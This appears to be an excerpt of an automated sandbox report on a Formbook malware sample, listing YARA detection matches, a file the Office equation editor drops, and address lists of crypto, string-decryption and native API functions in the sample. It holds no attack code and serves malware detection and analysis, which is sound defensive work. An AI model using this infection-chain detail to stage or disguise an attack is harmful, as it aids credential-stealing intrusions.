Source: 00000007.00000002.679459797.00000000001A0000.00000040.00020000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000007.00000002.679459797.00000000001A0000.00000040.00020000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000006.00000000.454018128.00000000090FF000.00000040.00020000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000006.00000000.454018128.00000000090FF000.00000040.00020000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000005.00000002.462778282.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000005.00000002.462778282.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000007.00000002.679586100.00000000002F0000.00000004.00000001.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000007.00000002.679586100.00000000002F0000.00000004.00000001.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000004.00000002.427990655.00000000034D9000.00000004.00000001.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000004.00000002.427990655.00000000034D9000.00000004.00000001.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000005.00000000.424856799.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000005.00000000.424856799.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Office equation editor drops PE file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\villarzx[1].exe Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File created: C:\Users\user\AppData\Roaming\villar8681.exe Jump to dropped file
Yara signature match
Source: 5.0.villar8681.exe.400000.5.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 5.0.villar8681.exe.400000.5.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 5.2.villar8681.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 5.2.villar8681.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 5.0.villar8681.exe.400000.9.raw.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 5.0.villar8681.exe.400000.9.raw.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 5.0.villar8681.exe.400000.9.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 5.0.villar8681.exe.400000.9.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 4.2.villar8681.exe.365d7a0.5.raw.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 4.2.villar8681.exe.365d7a0.5.raw.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 5.0.villar8681.exe.400000.7.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 5.0.villar8681.exe.400000.7.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 5.0.villar8681.exe.400000.7.raw.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 5.0.villar8681.exe.400000.7.raw.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 4.2.villar8681.exe.360e380.4.raw.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000005.00000002.462612557.0000000000080000.00000040.00020000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000005.00000002.462612557.0000000000080000.00000040.00020000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000007.00000002.679408045.0000000000080000.00000040.00020000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000007.00000002.679408045.0000000000080000.00000040.00020000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000006.00000000.446496993.00000000090FF000.00000040.00020000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000006.00000000.446496993.00000000090FF000.00000040.00020000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000005.00000002.462947003.00000000005D0000.00000040.00020000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000005.00000002.462947003.00000000005D0000.00000040.00020000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000005.00000000.424304556.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000005.00000000.424304556.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000007.00000002.679459797.00000000001A0000.00000040.00020000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000007.00000002.679459797.00000000001A0000.00000040.00020000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000006.00000000.454018128.00000000090FF000.00000040.00020000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000006.00000000.454018128.00000000090FF000.00000040.00020000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000005.00000002.462778282.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000005.00000002.462778282.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000007.00000002.679586100.00000000002F0000.00000004.00000001.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000007.00000002.679586100.00000000002F0000.00000004.00000001.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000004.00000002.427990655.00000000034D9000.00000004.00000001.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000004.00000002.427990655.00000000034D9000.00000004.00000001.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000005.00000000.424856799.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000005.00000000.424856799.0000000000400000.00000040.00000001.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Document has an unknown application name
Source: ~WRF{79E0ADDF-4BCA-42D2-95DC-650BFEE60233}.tmp.0.dr OLE indicator application name: unknown
Detected potential crypto function
Source: C:\Users\user\AppData\Roaming\villar8681.exe Code function: 4_2_002D0190 4_2_002D0190
Source: C:\Users\user\AppData\Roaming\villar8681.exe Code function: 4_2_002D6AF8 4_2_002D6AF8
Source: C:\Users\user\AppData\Roaming\villar8681.exe Code function: 4_2_002D67C0 4_2_002D67C0
Source: C:\Users\user\AppData\Roaming\villar8681.exe Code function: 4_2_002D8887 4_2_002D8887
Source: C:\Users\user\AppData\Roaming\villar8681.exe Code function: 4_2_002D0561 4_2_002D0561
Source: C:\Users\user\AppData\Roaming\villar8681.exe Code function: 4_2_002D8638 4_2_002D8638
Source: C:\Users\user\AppData\Roaming\villar8681.exe Code function: 4_2_002D8648 4_2_002D8648
Source: C:\Users\user\AppData\Roaming\villar8681.exe Code function: 4_2_002D67AF 4_2_002D67AF
Source: C:\Users\user\AppData\Roaming\villar8681.exe Code function: 4_2_010494B4 4_2_010494B4
Source: C:\Users\user\AppData\Roaming\villar8681.exe Code function: 5_2_0041E840 5_2_0041E840
Source: C:\Users\user\AppData\Roaming\villar8681.exe Code function: 5_2_0041E066 5_2_0041E066
Source: C:\Users\user\AppData\Roaming\villar8681.exe Code function: 5_2_00401030 5_2_00401030
Source: C:\Users\user\AppData\Roaming\villar8681.exe Code function: 5_2_0041D950 5_2_0041D950
Source: C:\Users\user\AppData\Roaming\villar8681.exe Code function: 5_2_0041E1DE 5_2_0041E1DE
Source: C:\Users\user\AppData\Roaming\villar8681.exe Code function: 5_2_0041DAF8 5_2_0041DAF8
Source: C:\Users\user\AppData\Roaming\villar8681.exe Code function: 5_2_0041E292 5_2_0041E292
Source: C:\Users\user\AppData\Roaming\villar8681.exe Code function: 5_2_0041EC35 5_2_0041EC35
Source: C:\Users\user\AppData\Roaming\villar8681.exe Code function: 5_2_00402D87 5_2_00402D87
Source: C:\Users\user\AppData\Roaming\villar8681.exe Code function: 5_2_00402D90 5_2_00402D90
Source: C:\Users\user\AppData\Roaming\villar8681.exe Code function: 5_2_0041D596 5_2_0041D596
Source: C:\Users\user\AppData\Roaming\villar8681.exe Code function: 5_2_00409E50 5_2_00409E50
Source: C:\Users\user\AppData\Roaming\villar8681.exe Code function: 5_2_00409E54 5_2_00409E54
Source: C:\Users\user\AppData\Roaming\villar8681.exe Code function: 5_2_0041DE95 5_2_0041DE95
Source: C:\Users\user\AppData\Roaming\villar8681.exe Code function: 5_2_00402FB0 5_2_00402FB0
Source: C:\Users\user\AppData\Roaming\villar8681.exe Code function: 5_2_0087E0C6 5_2_0087E0C6
Source: C:\Users\user\AppData\Roaming\villar8681.exe Code function: 5_2_008AD005 5_2_008AD005
Source: C:\Users\user\AppData\Roaming\villar8681.exe Code function: 5_2_00883040 5_2_00883040
Source: C:\Users\user\AppData\Roaming\villar8681.exe Code function: 5_2_0089905A 5_2_0089905A
Source: C:\Users\user\AppData\Roaming\villar8681.exe Code function: 5_2_008FD06D 5_2_008FD06D
Source: C:\Users\user\AppData\Roaming\villar8681.exe Code function: 5_2_0090D13F 5_2_0090D13F
Source: C:\Users\user\AppData\Roaming\villar8681.exe Code function: 5_2_0087E2E9 5_2_0087E2E9
Source: C:\Users\user\AppData\Roaming\villar8681.exe Code function: 5_2_00921238 5_2_00921238
Source: C:\Users\user\AppData\Roaming\villar8681.exe Code function: 5_2_009263BF 5_2_009263BF
Source: C:\Users\user\AppData\Roaming\villar8681.exe Code function: 5_2_0087F3CF 5_2_0087F3CF
Source: C:\Users\user\AppData\Roaming\villar8681.exe Code function: 5_2_008A63DB 5_2_008A63DB
Source: C:\Users\user\AppData\Roaming\villar8681.exe Code function: 5_2_00882305 5_2_00882305
Source: C:\Users\user\AppData\Roaming\villar8681.exe Code function: 5_2_00887353 5_2_00887353
Source: C:\Users\user\AppData\Roaming\villar8681.exe Code function: 5_2_008CA37B 5_2_008CA37B
Source: C:\Users\user\AppData\Roaming\villar8681.exe Code function: 5_2_00891489 5_2_00891489
Source: C:\Users\user\AppData\Roaming\villar8681.exe Code function: 5_2_008B5485 5_2_008B5485
Source: C:\Users\user\AppData\Roaming\villar8681.exe Code function: 5_2_0090443E 5_2_0090443E
Source: C:\Users\user\AppData\Roaming\villar8681.exe Code function: 5_2_008BD47D 5_2_008BD47D
Source: C:\Users\user\AppData\Roaming\villar8681.exe Code function: 5_2_009235DA 5_2_009235DA
Source: C:\Users\user\AppData\Roaming\villar8681.exe Code function: 5_2_009005E3 5_2_009005E3
Source: C:\Users\user\AppData\Roaming\villar8681.exe Code function: 5_2_0089C5F0 5_2_0089C5F0
Source: C:\Users\user\AppData\Roaming\villar8681.exe Code function: 5_2_0088351F 5_2_0088351F
Source: C:\Users\user\AppData\Roaming\villar8681.exe Code function: 5_2_008C6540 5_2_008C6540
Source: C:\Users\user\AppData\Roaming\villar8681.exe Code function: 5_2_00884680 5_2_00884680
Source: C:\Users\user\AppData\Roaming\villar8681.exe Code function: 5_2_0088E6C1 5_2_0088E6C1
Source: C:\Users\user\AppData\Roaming\villar8681.exe Code function: 5_2_00922622 5_2_00922622
Source: C:\Users\user\AppData\Roaming\villar8681.exe Code function: 5_2_008CA634 5_2_008CA634
Source: C:\Users\user\AppData\Roaming\villar8681.exe Code function: 5_2_0090579A 5_2_0090579A
Source: C:\Users\user\AppData\Roaming\villar8681.exe Code function: 5_2_0088C7BC 5_2_0088C7BC
Source: C:\Users\user\AppData\Roaming\villar8681.exe Code function: 5_2_008B57C3 5_2_008B57C3
Source: C:\Users\user\AppData\Roaming\villar8681.exe Code function: 5_2_008FF8C4 5_2_008FF8C4
Source: C:\Users\user\AppData\Roaming\villar8681.exe Code function: 5_2_0091F8EE 5_2_0091F8EE
Source: C:\Users\user\AppData\Roaming\villar8681.exe Code function: 5_2_0088C85C 5_2_0088C85C
Source: C:\Users\user\AppData\Roaming\villar8681.exe Code function: 5_2_008A286D 5_2_008A286D
Source: C:\Users\user\AppData\Roaming\villar8681.exe Code function: 5_2_0092098E 5_2_0092098E
Source: C:\Users\user\AppData\Roaming\villar8681.exe Code function: 5_2_008829B2 5_2_008829B2
Source: C:\Users\user\AppData\Roaming\villar8681.exe Code function: 5_2_008969FE 5_2_008969FE
Source: C:\Users\user\AppData\Roaming\villar8681.exe Code function: 5_2_00905955 5_2_00905955
Source: C:\Users\user\AppData\Roaming\villar8681.exe Code function: 5_2_0090394B 5_2_0090394B
Source: C:\Users\user\AppData\Roaming\villar8681.exe Code function: 5_2_00933A83 5_2_00933A83
Source: C:\Users\user\AppData\Roaming\villar8681.exe Code function: 5_2_0092CBA4 5_2_0092CBA4
Source: C:\Users\user\AppData\Roaming\villar8681.exe Code function: 5_2_0090DBDA 5_2_0090DBDA
Source: C:\Users\user\AppData\Roaming\villar8681.exe Code function: 5_2_0087FBD7 5_2_0087FBD7
Source: C:\Users\user\AppData\Roaming\villar8681.exe Code function: 5_2_00906BCB 5_2_00906BCB
Source: C:\Users\user\AppData\Roaming\villar8681.exe Code function: 5_2_008A7B00 5_2_008A7B00
Source: C:\Users\user\AppData\Roaming\villar8681.exe Code function: 5_2_00922C9C 5_2_00922C9C
Source: C:\Users\user\AppData\Roaming\villar8681.exe Code function: 5_2_0090AC5E 5_2_0090AC5E
Source: C:\Users\user\AppData\Roaming\villar8681.exe Code function: 5_2_0091FDDD 5_2_0091FDDD
Source: C:\Users\user\AppData\Roaming\villar8681.exe Code function: 5_2_010494B4 5_2_010494B4
Source: C:\Windows\SysWOW64\raserver.exe Code function: 7_2_02231238 7_2_02231238
Source: C:\Windows\SysWOW64\raserver.exe Code function: 7_2_0218E2E9 7_2_0218E2E9
Source: C:\Windows\SysWOW64\raserver.exe Code function: 7_2_02192305 7_2_02192305
Source: C:\Windows\SysWOW64\raserver.exe Code function: 7_2_02197353 7_2_02197353
Source: C:\Windows\SysWOW64\raserver.exe Code function: 7_2_021DA37B 7_2_021DA37B
Source: C:\Windows\SysWOW64\raserver.exe Code function: 7_2_021B63DB 7_2_021B63DB
Source: C:\Windows\SysWOW64\raserver.exe Code function: 7_2_0218F3CF 7_2_0218F3CF
Source: C:\Windows\SysWOW64\raserver.exe Code function: 7_2_021BD005 7_2_021BD005
Source: C:\Windows\SysWOW64\raserver.exe Code function: 7_2_021A905A 7_2_021A905A
Source: C:\Windows\SysWOW64\raserver.exe Code function: 7_2_02193040 7_2_02193040
Source: C:\Windows\SysWOW64\raserver.exe Code function: 7_2_0218E0C6 7_2_0218E0C6
Source: C:\Windows\SysWOW64\raserver.exe Code function: 7_2_02232622 7_2_02232622
Source: C:\Windows\SysWOW64\raserver.exe Code function: 7_2_02194680 7_2_02194680
Source: C:\Windows\SysWOW64\raserver.exe Code function: 7_2_0219E6C1 7_2_0219E6C1
Source: C:\Windows\SysWOW64\raserver.exe Code function: 7_2_0219C7BC 7_2_0219C7BC
Source: C:\Windows\SysWOW64\raserver.exe Code function: 7_2_0221579A 7_2_0221579A
Source: C:\Windows\SysWOW64\raserver.exe Code function: 7_2_021C57C3 7_2_021C57C3
Source: C:\Windows\SysWOW64\raserver.exe Code function: 7_2_021CD47D 7_2_021CD47D
Source: C:\Windows\SysWOW64\raserver.exe Code function: 7_2_021A1489 7_2_021A1489
Source: C:\Windows\SysWOW64\raserver.exe Code function: 7_2_021C5485 7_2_021C5485
Source: C:\Windows\SysWOW64\raserver.exe Code function: 7_2_0219351F 7_2_0219351F
Source: C:\Windows\SysWOW64\raserver.exe Code function: 7_2_021AC5F0 7_2_021AC5F0
Source: C:\Windows\SysWOW64\raserver.exe Code function: 7_2_02243A83 7_2_02243A83
Source: C:\Windows\SysWOW64\raserver.exe Code function: 7_2_021B7B00 7_2_021B7B00
Source: C:\Windows\SysWOW64\raserver.exe Code function: 7_2_0223CBA4 7_2_0223CBA4
Source: C:\Windows\SysWOW64\raserver.exe Code function: 7_2_0218FBD7 7_2_0218FBD7
Source: C:\Windows\SysWOW64\raserver.exe Code function: 7_2_0221DBDA 7_2_0221DBDA
Source: C:\Windows\SysWOW64\raserver.exe Code function: 7_2_0219C85C 7_2_0219C85C
Source: C:\Windows\SysWOW64\raserver.exe Code function: 7_2_021B286D 7_2_021B286D
Source: C:\Windows\SysWOW64\raserver.exe Code function: 7_2_0222F8EE 7_2_0222F8EE
Source: C:\Windows\SysWOW64\raserver.exe Code function: 7_2_02215955 7_2_02215955
Source: C:\Windows\SysWOW64\raserver.exe Code function: 7_2_021929B2 7_2_021929B2
Source: C:\Windows\SysWOW64\raserver.exe Code function: 7_2_0223098E 7_2_0223098E
Source: C:\Windows\SysWOW64\raserver.exe Code function: 7_2_021A69FE 7_2_021A69FE
Source: C:\Windows\SysWOW64\raserver.exe Code function: 7_2_021C2E2F 7_2_021C2E2F
Source: C:\Windows\SysWOW64\raserver.exe Code function: 7_2_021AEE4C 7_2_021AEE4C
Source: C:\Windows\SysWOW64\raserver.exe Code function: 7_2_021A0F3F 7_2_021A0F3F
Source: C:\Windows\SysWOW64\raserver.exe Code function: 7_2_021BDF7C 7_2_021BDF7C
Source: C:\Windows\SysWOW64\raserver.exe Code function: 7_2_021C0D3B 7_2_021C0D3B
Source: C:\Windows\SysWOW64\raserver.exe Code function: 7_2_0219CD5B 7_2_0219CD5B
Source: C:\Windows\SysWOW64\raserver.exe Code function: 7_2_0222FDDD 7_2_0222FDDD
Source: C:\Windows\SysWOW64\raserver.exe Code function: 7_2_0009E066 7_2_0009E066
Source: C:\Windows\SysWOW64\raserver.exe Code function: 7_2_0009D596 7_2_0009D596
Source: C:\Windows\SysWOW64\raserver.exe Code function: 7_2_0009E840 7_2_0009E840
Source: C:\Windows\SysWOW64\raserver.exe Code function: 7_2_0009D950 7_2_0009D950
Source: C:\Windows\SysWOW64\raserver.exe Code function: 7_2_0009EC35 7_2_0009EC35
Source: C:\Windows\SysWOW64\raserver.exe Code function: 7_2_00082D87 7_2_00082D87
Source: C:\Windows\SysWOW64\raserver.exe Code function: 7_2_00082D90 7_2_00082D90
Source: C:\Windows\SysWOW64\raserver.exe Code function: 7_2_00089E50 7_2_00089E50
Source: C:\Windows\SysWOW64\raserver.exe Code function: 7_2_00089E54 7_2_00089E54
Source: C:\Windows\SysWOW64\raserver.exe Code function: 7_2_0009DE95 7_2_0009DE95
Source: C:\Windows\SysWOW64\raserver.exe Code function: 7_2_00082FB0 7_2_00082FB0
Source: C:\Windows\SysWOW64\raserver.exe Code function: 7_2_01F2A036 7_2_01F2A036
Source: C:\Windows\SysWOW64\raserver.exe Code function: 7_2_01F28912 7_2_01F28912
Source: C:\Windows\SysWOW64\raserver.exe Code function: 7_2_01F21082 7_2_01F21082
Source: C:\Windows\SysWOW64\raserver.exe Code function: 7_2_01F25B32 7_2_01F25B32
Source: C:\Windows\SysWOW64\raserver.exe Code function: 7_2_01F25B30 7_2_01F25B30
Source: C:\Windows\SysWOW64\raserver.exe Code function: 7_2_01F2B232 7_2_01F2B232
Source: C:\Windows\SysWOW64\raserver.exe Code function: 7_2_01F2E5CD 7_2_01F2E5CD
Source: C:\Windows\SysWOW64\raserver.exe Code function: 7_2_01F22D02 7_2_01F22D02
Found potential string decryption / allocating functions
Source: C:\Windows\SysWOW64\raserver.exe Code function: String function: 0218E2A8 appears 38 times
Source: C:\Windows\SysWOW64\raserver.exe Code function: String function: 021D3F92 appears 108 times
Source: C:\Windows\SysWOW64\raserver.exe Code function: String function: 021D373B appears 238 times
Source: C:\Windows\SysWOW64\raserver.exe Code function: String function: 021FF970 appears 81 times
Source: C:\Windows\SysWOW64\raserver.exe Code function: String function: 0218DF5C appears 112 times
Source: C:\Users\user\AppData\Roaming\villar8681.exe Code function: String function: 0087DF5C appears 110 times
Source: C:\Users\user\AppData\Roaming\villar8681.exe Code function: String function: 008EF970 appears 78 times
Source: C:\Users\user\AppData\Roaming\villar8681.exe Code function: String function: 008C373B appears 217 times
Source: C:\Users\user\AppData\Roaming\villar8681.exe Code function: String function: 008C3F92 appears 110 times
Source: C:\Users\user\AppData\Roaming\villar8681.exe Code function: String function: 0087E2A8 appears 58 times
Contains functionality to call native functions
Source: C:\Users\user\AppData\Roaming\villar8681.exe Code function: 5_2_0041A350 NtCreateFile, 5_2_0041A350
Source: C:\Users\user\AppData\Roaming\villar8681.exe Code function: 5_2_0041A400 NtReadFile, 5_2_0041A400
Source: C:\Users\user\AppData\Roaming\villar8681.exe Code function: 5_2_0041A480 NtClose, 5_2_0041A480
Source: C:\Users\user\AppData\Roaming\villar8681.exe Code function: 5_2_0041A530 NtAllocateVirtualMemory, 5_2_0041A530
Source: C:\Users\user\AppData\Roaming\villar8681.exe Code function: 5_2_0041A44A NtReadFile, 5_2_0041A44A
Source: C:\Users\user\AppData\Roaming\villar8681.exe Code function: 5_2_0041A47A NtClose, 5_2_0041A47A
